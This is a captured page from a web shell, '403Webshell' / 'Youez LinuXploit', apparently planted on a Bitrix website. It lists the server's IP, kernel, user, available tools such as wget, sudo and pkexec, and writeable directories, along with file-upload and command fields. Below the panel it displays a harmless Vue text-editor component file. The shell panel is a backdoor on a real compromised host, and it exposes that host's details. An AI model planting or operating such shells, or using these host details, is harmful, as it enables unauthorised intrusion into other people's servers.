403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/text-editor/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/text-editor/src/text-editor-component.js
import { Type } from 'main.core';
import { TextEditor } from './text-editor';
import { type BitrixVueComponentProps } from 'ui.vue3';

export const TextEditorComponent: BitrixVueComponentProps = {
	name: 'TextEditorComponent',
	props: {
		editorOptions: {
			type: Object,
		},
		editorInstance: {
			type: TextEditor,
			default: null,
		},
		events: {
			type: Object,
			default: {},
		},
		editable: {
			type: Boolean,
			default: null,
		},
	},
	setup()
	{
		return {
			editorClass: TextEditor,
		};
	},
	provide(): Object<string, any> {
		return {
			editor: this.editor,
		};
	},
	beforeCreate()
	{
		if (this.editorInstance === null)
		{
			this.hasOwnEditor = true;

			const EditorClass = this.editorClass;
			this.editor = new EditorClass(this.editorOptions);
		}
		else
		{
			this.hasOwnEditor = false;
			this.editor = this.editorInstance;
		}

		if (Type.isPlainObject(this.events))
		{
			for (const [eventName, fn] of Object.entries(this.events))
			{
				this.editor.subscribe(eventName, fn);
			}
		}
	},
	computed:
	{
		headerContainer(): string
		{
			return this.editor.getHeaderContainer();
		},
		footerContainer(): string
		{
			return this.editor.getFooterContainer();
		},
	},
	watch:
	{
		editable(value: boolean): void
		{
			this.editor.setEditable(value);
		},
	},
	mounted(): void
	{
		this.editor.renderTo(this.$refs.container, true);
	},
	unmounted(): void
	{
		if (this.hasOwnEditor)
		{
			this.editor.destroy();
			this.editor = null;
		}
	},
	template: `
		<div ref="container"></div>
		<Teleport :to="headerContainer">
			<slot name="header"></slot>
		</Teleport>
		<Teleport :to="footerContainer">
			<slot name="footer"></slot>
		</Teleport>
	`,
};

Youez - 2016 - github.com/yon3zu
LinuXploit